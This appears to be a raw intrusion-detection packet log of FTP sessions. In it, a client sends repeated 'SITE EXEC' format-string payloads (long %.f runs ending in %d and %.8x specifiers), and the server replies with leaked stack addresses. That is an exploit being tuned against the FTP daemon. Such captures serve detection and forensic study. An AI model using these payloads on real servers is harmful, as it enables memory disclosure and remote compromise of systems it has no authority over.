TCP TTL:63 TOS:0x0 ID:41674 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A602AA Ack: 0x2AE1087 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784999 69269711 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.750513 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x1E8 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37633 IpLen:20 DgmLen:474 DF ***AP*** Seq: 0x2AE1087 Ack: 0x2A602AA Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269713 114784999 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 64 25 64 7C 25 2E 38 78 7C 25 2E f%.f%d%d|%.8x|%. 38 78 27 29 0D 0A 8x').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.751607 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1E6 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41675 IpLen:20 DgmLen:472 DF ***AP*** Seq: 0x2A602AA Ack: 0x2AE122D Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114784999 69269713 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 64 25 64 25 64 25 64 7C 25 2E 38 78 7C 25 2E %d%d%d%d|%.8x|%. 38 78 0D 0A 8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.756925 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x10B 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37634 IpLen:20 DgmLen:253 DF ***AP*** Seq: 0x2AE122D Ack: 0x2A6044E Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269714 114784999 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 2D 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 -107375125610745 34 32 35 34 31 7C 62 66 66 66 64 62 32 38 7C 34 42541|bfffdb28|4 30 30 63 36 32 36 62 0D 0A 00c626b.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.771316 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41677 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A6044E Ack: 0x2AE12F6 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785001 69269714 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.771422 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x1EC 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37635 IpLen:20 DgmLen:478 DF ***AP*** Seq: 0x2AE12F6 Ack: 0x2A6044E Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269715 114785001 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 64 25 64 25 64 25 64 7C 25 2E 38 f%.f%d%d%d%d|%.8 78 7C 25 2E 38 78 27 29 0D 0A x|%.8x').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.772482 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1EA 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41678 IpLen:20 DgmLen:476 DF ***AP*** Seq: 0x2A6044E Ack: 0x2AE14A0 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785001 69269715 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 64 25 64 25 64 25 64 25 64 25 64 7C 25 2E 38 %d%d%d%d%d%d|%.8 78 7C 25 2E 38 78 0D 0A x|%.8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.783715 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x120 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37636 IpLen:20 DgmLen:274 DF ***AP*** Seq: 0x2AE14A0 Ack: 0x2A605F6 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269717 114785001 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 2D 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 -107375125610745 34 32 35 34 31 2D 31 30 37 33 37 35 31 32 35 36 42541-1073751256 31 30 37 34 35 35 33 34 35 31 7C 62 66 66 66 64 1074553451|bfffd 62 37 38 7C 34 30 31 36 63 31 63 63 0D 0A b78|4016c1cc.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.800553 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41680 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A605F6 Ack: 0x2AE157E Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785003 69269717 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.800643 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x1F0 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37637 IpLen:20 DgmLen:482 DF ***AP*** Seq: 0x2AE157E Ack: 0x2A605F6 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269718 114785003 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 64 25 64 25 64 25 64 25 64 25 64 f%.f%d%d%d%d%d%d 7C 25 2E 38 78 7C 25 2E 38 78 27 29 0D 0A |%.8x|%.8x').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.811875 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1EE 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41681 IpLen:20 DgmLen:480 DF ***AP*** Seq: 0x2A605F6 Ack: 0x2AE172C Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785003 69269718 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 7C 25 2E 38 78 7C 25 2E 38 78 0D 0A |%.8x|%.8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.820202 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x135 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37638 IpLen:20 DgmLen:295 DF ***AP*** Seq: 0x2AE172C Ack: 0x2A607A2 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269720 114785003 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 2D 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 -107375125610745 34 32 35 34 31 2D 31 30 37 33 37 35 31 32 35 36 42541-1073751256 31 30 37 34 35 35 33 34 35 31 2D 31 30 37 33 37 1074553451-10737 35 31 31 37 36 31 30 37 35 32 33 33 32 32 38 7C 511761075233228| 62 66 66 66 64 62 37 38 7C 62 66 66 66 64 63 38 bfffdb78|bfffdc8 61 0D 0A a.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.852514 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41683 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A607A2 Ack: 0x2AE181F Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785006 69269720 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.852630 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x1F4 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37639 IpLen:20 DgmLen:486 DF ***AP*** Seq: 0x2AE181F Ack: 0x2A607A2 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269723 114785006 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 